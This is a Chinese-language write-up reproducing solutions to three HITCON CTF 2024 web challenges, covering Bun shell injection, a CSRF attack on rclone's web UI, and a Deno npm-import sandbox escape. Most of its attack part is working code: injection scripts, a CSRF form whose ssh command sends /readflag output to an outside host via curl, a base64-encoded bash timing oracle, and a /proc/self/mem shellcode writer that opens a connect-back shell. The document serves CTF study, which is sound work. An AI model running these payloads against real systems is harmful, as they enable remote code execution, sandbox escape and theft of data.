HITCON CTF 2024 web复现

首发于先知社区: https://xz.aliyun.com/t/15130?time__1311=GqjxuQD%3DeewxlxGg2DyDmgtQm7SbmQ2YD

Echo as a Service

这里先放出源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
import { $ } from "bun";

const server = Bun.serve({
    host: "0.0.0.0",
    port: 1337,
    async fetch(req) {
        const url = new URL(req.url);
        if (url.pathname === "/") {
            return new Response(`
                <p>Welcome to echo-as-a-service! Try it out:</p>
                <form action="/echo" method="POST">
                    <input type="text" name="msg" />
                    <input type="submit" value="Submit" />
                </form>
            `.trim(), { headers: { "Content-Type": "text/html" } });
        }
        else if (url.pathname === "/echo") {
            const msg = (await req.formData()).get("msg");
            if (typeof msg !== "string") {
                return new Response("Something's wrong, I can feel it", { status: 400 });
            }
            
            const output = await $`echo ${msg}`.text();
            return new Response(output, { headers: { "Content-Type": "text/plain" } });
        }
    }
});

console.log(`listening on http://localhost:${server.port}`);

这里因为题目describe说要RCE所以这里直接能定位到

1
2
3
4
5
            const output = await $`echo ${msg}`.text();
            return new Response(output, { headers: { "Content-Type": "text/plain" } });
        }
    }
});

这里通过bun的docs 对比一下当前版本和1.1.8版本在使用shell的区别

1
2
3
4
5
6
7
当前
{ '~', '[', ']', '#', ';', '\n', '*', '{', ',', '}', '`',
'$', '=', '(', ')', '0', '1', '2', '3', '4', '5', '6', '7',
'8', '9', '|', '>', '<', '&', '\'', '"', ' ', '\\' }
1.1.8
{ '$', '>', '&', '|', '=', ';', '\n', '{', '}',
',', '(', ')', '\\', '\"', ' ', '\'' }

可以看见可以进行subshell,并且可以利用<来写入文件 所以就这样

1
/readflag give me the flag1<test

最终脚本

1
2
cmd = ['/readflag\tgive\tme\tthe\tflag1<flag.sh', '`sh<flag.sh`']
[print(__import__("requests").post("http://192.168.174.128:32768/echo", data={'msg': cmd[x]}).text) for x in range(2)]

/img/HITCON2024/1.png
可以看到读到了。

RClonE

题目描述

1
Rclone is a CLI that syncs your files to various cloud storage. But do you know it also have a built-in web UI?

然后这里我们主要看一下大概的逻辑 bot.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
const visit = async url => {
    let context = null
    try {
        if (!browser) {
            const args = ['--js-flags=--jitless,--no-expose-wasm', '--disable-gpu', '--disable-dev-shm-usage']
            if (new URL(SITE).protocol === 'http:') {
                args.push(`--unsafely-treat-insecure-origin-as-secure=${SITE}`)
            }
            browser = await puppeteer.launch({
                headless: 'new',
                args
            })
        }

        context = await browser.createBrowserContext()

        const page1 = await context.newPage()
        await page1.goto(LOGIN_URL)
        await page1.close()

        const page2 = await context.newPage()
        await Promise.race([
            page2.goto(url, {
                waitUntil: 'networkidle0'
            }),
            sleep(5000)
        ])
        await page2.close()

        await context.close()
        context = null
    } catch (e) {
        console.log(e)
    } finally {
        if (context) await context.close()
    }
}

app.js

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
app.get('/', (req, res) => {
    res.send(INDEX_HTML)
})
app.post('/submit', async (req, res) => {
    const { url } = req.body
    if (!url || !URL_CHECK_REGEX.test(url)) {
        return res.status(400).send('Invalid URL')
    }

    try {
        console.log(`[+] Sending ${url} to bot`)
        await visit(url)
        res.send('OK')
    } catch (e) {
        console.log(e)
        res.status(500).send('Something is wrong...')
    }
})

这里我们搭建起来环境

/img/HITCON2024/2.png
可以看到是一个传url的地方,这里盲猜一下是ssrf,因为一般都出现在这种请求当中,并且我们可以发现源码并没有对其做过滤。 这里我们用webhook测试一下
/img/HITCON2024/3.png
可以看到是做了一个请求的。 https://rclone.org/sftp/#sftp-ssh 然后通过这个rclone官网可以看见我们可以利用sftp去在ssh执行命令的。所以我们可以先创建一个远程的SFTP地址。 然后如果我们需要创建一个remote的SFTP服务,我们可以通过请求这个路由来进行创建http://xxxx:5527/config/creat

1
curl -X POST -d '{"name": "my_sftp_remote", "type": "sftp", "parameters": {"host": "sftp.example.com", "user": "username", "pass": "password"}}' http://localhost:5572/config/create

这样子我们就可以创建一个remote,然后我们写成html可以这样

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<form action="http://192.168.174.128:5572/config/create" method="POST" id="cfgform" target="_blank">
    <input name="name" value="yy" />
    <input name="type" value="sftp" />
    <!-- https://github.com/rclone/rclone/blob/7b8bbe531e0f062254b2d8ffe1e6284cd62309f6/fs/config/rc.go#L150 will parse parameters using json.Unmarshal -->
    <input name="parameters" />
    <button type="submit">Create</button>
</form>
<script>
    cfgform.parameters.value = JSON.stringify({
        // ssh: 'bash -c "touch /tmp/pwned"'
        ssh: `bash -c "curl http://192.168.174.128:8080/submit -d url=http://${location.host}/flag?flag=$(/readflag)"`
    })
</script>

然后后面的js是为了把ssh要执行的命令先写进去然后在后面访问的时候让他自动触发

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
<form action="http://192.168.174.128:5572/operations/list" method="POST" id="listform" target="_blank">
    <input name="fs" value="yy:" />
    <input name="remote" value="" />
    <button type="submit">Do List</button>
</form>
<script>
    cfgform.submit()
    setTimeout(() => {
        listform.submit()
    }, 1500)
</script>
<img src="/delay.php?seconds=5" />
<!-- hitcon{easy_peasy_rce_using_csrf_attacking_local_server} -->

这样子就会触发让他执行上面写的ssh命令然后把内容外带出来。

然后另外一个队伍的wp是这么写的,因为rclone不出网所以利用二分法进去把flag leak出来

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
import requests
import base64
import time

url = "http://rclone.chal.hitconctf.com:30068/submit"

# run it first
# php -S 0.0.0.0:3000 exp.html

exp1 = """
<form id="rce" method="post" action="http://rclone:5572/config/create">
    <input name="name" value="u">
    <input name="type" value="webdav">
    <input name="parameters" value='{{"bearer_token_command":"{}", "url":"http://bot:8000"}}'>
</form>
<script>
    rce.submit();
</script>
"""

exp2 = """
<form id="form" method="post" action="http://rclone:5572/operations/list">
    <input type="hidden" name="fs" value="u:" />
    <input type="hidden" name="remote" value="" />
  </form>
  <script>
      form.submit();
  </script>
    """


flag = "aGl0Y29ue2Vhc3lfcGVhc3lfcmNlX3VzaW5nX2NzcmZfYXR0YWNraW5nX2xvY2FsX3"
wordlist = "+/0123456789=ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"


def foo(c, opt):
    with open("exp.html", "w") as f:
        payload = f"[[ $(/readflag|base64) {opt} {flag}{c}* ]] && sleep 5"
        payload = base64.b64encode(payload.encode()).decode()
        payload = f"bash -c {{echo,{payload}}}|{{base64,-d}}|{{bash,-i}}"
        f.write(exp1.format(payload))

    r = requests.post(url, data={"url": "https://dev.vincent55.tw"})

    with open("exp.html", "w") as f:
        f.write(exp2)

    start = time.time()
    requests.post(url, data={"url": "https://dev.vincent55.tw"})
    end = time.time()
    if end - start > 4:
        return True
    return False


while True:
    lb = -1
    rb = 65

    while lb + 1 < rb:
        m = (lb + rb) // 2
        if foo(wordlist[m], ">"):
            lb = m
        else:
            rb = m
    flag += wordlist[lb]
    print(flag)

Truth of NPM

首先我们看到query.tsx文件中有这么一个函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
async function queryPackage(packageName: string) {
    if (cache.has(packageName)) {
        return cache.get(packageName) as CachedPackageQueryResult
    }
    const pkgjson: PackageJson | null = await (async () => {
        try {
            const module = await import(`npm:${packageName}/package.json`, {
                with: {
                    type: 'json'
                }
            })
            return module.default
        } catch {
            return null
        }
    })()
    if (!pkgjson) {
        const ps = await asyncMapToArray(walkPackageFiles(npmDir), entry => Deno.remove(entry.path))
        await Promise.all(ps)
        return null
    }
    let totalSize = 0
    const ps = await asyncMapToArray(walkPackageFiles(npmDir), async entry => {
        const { size } = await Deno.stat(entry.path)
        totalSize += size
        return Deno.remove(entry.path)
    })
    await Promise.all(ps)
    const ret = { size: totalSize, pkgjson }
    cache.set(packageName, ret)
    return ret
}

这里我们可以看到

1
2
3
4
5
            const module = await import(`npm:${packageName}/package.json`, {
                with: {
                    type: 'json'
                }
            })

这里他会自动import一个包,这个包可以是remote的。 然后在import完之后

1
2
3
4
5
    if (!pkgjson) {
        const ps = await asyncMapToArray(walkPackageFiles(npmDir), entry => Deno.remove(entry.path))
        await Promise.all(ps)
        return null
    }

他就会删掉原来的你install包中的文件,但是因为这个删除用的是这个函数fs.walk

1
2
3
4
5
6
7
8
9
async function* walkPackageFiles(npmDir: string) {
    for await (const entry of fs.walk(npmDir)) {
        if (entry.isDirectory) continue
        // registry.json is generated by deno
        if (entry.name !== 'registry.json') {
            yield entry
        }
    }
}

他的特性就是会保留非utf-8编码的文件即tsx文件。 然后在main函数中

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
import { Hono, Context } from 'hono'
import { rateLimiter } from './utils.ts'

const app = new Hono()

app.use(rateLimiter(1))
app.use(async (c: Context) => {
    const page = c.req.path.slice(1) || 'index'
    try {
        const { handler } = await import(`./pages/${page}.tsx`)
        return handler(c)
    } catch {
        return c.html('404 Not Found', 404)
    }
})

export default app

你访问你包的名称就会自动import下来,就可以执行命令了,但是我们都是在Deno的沙箱中的,所以我们要执行命令的话要绕一下沙箱 这里具体还没研究透怎么绕的呜呜呜还得花点时间 exp.tsx

1
2
3
4
export const handler = async c->{
    const body = await c.req.text()
    return c.text(eval(body))
}

exp.js(绕沙箱)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
try {
    Deno.removeSync('/tmp/self')
} catch {}
Deno.symlinkSync('/proc/self', '/tmp/self') // bypass https://github.com/denoland/deno/security/advisories/GHSA-23rx-c3g5-hv9w
const maps = Deno.readTextFileSync('/tmp/self/maps')
const first = maps.split('\n').find(x => x.includes('deno'))
const offset = 0x401c2c0 // p &Builtins_JsonStringify-0x555555554000
const base = parseInt(first.split('-')[0], 16)
const addr = base + offset
console.log('&Builtins_JsonStringify', addr.toString(16))

const mem = Deno.openSync('/tmp/self/mem', {
    write: true
})

/*
from pwn import *
context.arch = 'amd64'
sc = asm(shellcraft.connect('127.0.0.1', 3535, 'ipv4') + shellcraft.dupsh())   
print(list(sc))
*/

const shellcode = new Uint8Array([
    106, 41, 88, 106, 2, 95, 106, 1, 94, 153, 15, 5, 72, 137, 197, 72, 184, 1, 1, 1, 1, 1, 1, 1, 2, 80, 72, 184, 3, 1,
    12, 206, 126, 1, 1, 3, 72, 49, 4, 36, 106, 42, 88, 72, 137, 239, 106, 16, 90, 72, 137, 230, 15, 5, 72, 137, 239,
    106, 2, 94, 106, 33, 88, 15, 5, 72, 255, 206, 121, 246, 106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80,
    72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230,
    49, 210, 106, 59, 88, 15, 5
])
mem.seekSync(addr, Deno.SeekMode.Start)
mem.writeSync(shellcode)
JSON.stringify('pwned')

/*
1. create a npm package with filename includes invalid utf-8 and publish  (tar czf package.tar.gz exppkg && npm publish package.tar.gz --access public)
2. curl 'http://localhost:8000/query?package=@maple3142/exploit_of_truth_of_npm'
3. curl --path-as-is 'http://localhost:8000/../../deno-dir/npm/registry.npmjs.org/@maple3142/exploit_of_truth_of_npm/0.0.1/exp%ff' -T exp.js
*/
// hitcon{the_fix_that_does_not_really_address_the_issue}